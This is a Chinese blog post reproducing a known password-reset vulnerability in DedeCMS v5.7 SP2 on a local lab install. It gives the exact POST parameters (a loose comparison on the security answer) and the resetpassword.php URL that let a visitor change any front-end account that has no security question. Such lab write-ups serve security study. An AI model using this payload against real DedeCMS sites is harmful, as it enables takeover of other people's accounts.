DeceCMS v5.7 SP2正式版前台任意修改用户密码修改漏洞复现
DeceCMS v5.7 SP2正式版前台任意修改用户密码修改漏洞复现
一、漏洞限制
1、只能影响前台账户
2、只能修改未设置安全问题的账户
二、影响版本
DeDeCMSV5.7SP2 正式版(2018-01-09)
三、漏洞复现
1、复现环境
PHP 5.6
DeDeCMSV5.7SP2 正式版(2018-01-09)
2、复现工具
- DeDeCMSV5.7SP2 正式版(2018-01-09)
- HackBar/Max HacKBar 插件 (后者火狐专有)
- Proxy SwitchyOmega 插件
- Burp Suite 抓包工具
- phpstudypro 建站工具
- Google Chrome/Firefox 浏览器
3、复现过程
phpstudy打开Apache和mysql服务
将源码包放在WWW路径下
访问链接http://127.0.0.1/DedeCMS-V5.7-GBK-SP2-Full/uploads/install/index.php
会得到这样的初始界面
点击继续
继续
到这一步的的时候注意数据库密码和管理员密码,一般设成和账号名一致就行,方便记忆
继续
登录管理员后台(这个链接记得保存,后面会用到)
http://127.0.0.1/DedeCMS-V5.7-GBK-SP2-Full/uploads/dede/
在这里修改一下这个选项为“是”,不然没法注册会员。
之后便进行注册,选择没安全提示问题
完成注册后可打开前面保存的网站后台网址查看注册的会员的id,就是mid的数值,我注册了两个账号,所以我test(账号名没限制)的mid是2,这个id记住,后面会用到
在找回密码的地方打开hackbar进行post:
1 | dopost=safequestion&safequestion=0.0&safeanswer=&id=2 |
这里的id=2,就是之前要记的mid
复制这一段,删除掉amp;
payload:127.0.0.1/DedeCMS-V5.7-GBK-SP2-Full/uploads/member/resetpassword.php?dopost=getpasswd&id=2&key=xzrL2YwV
将payload复制到地址栏,即可直接进入修改密码的地方
直接登录成功
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 FakerCsr's Magic Box!
评论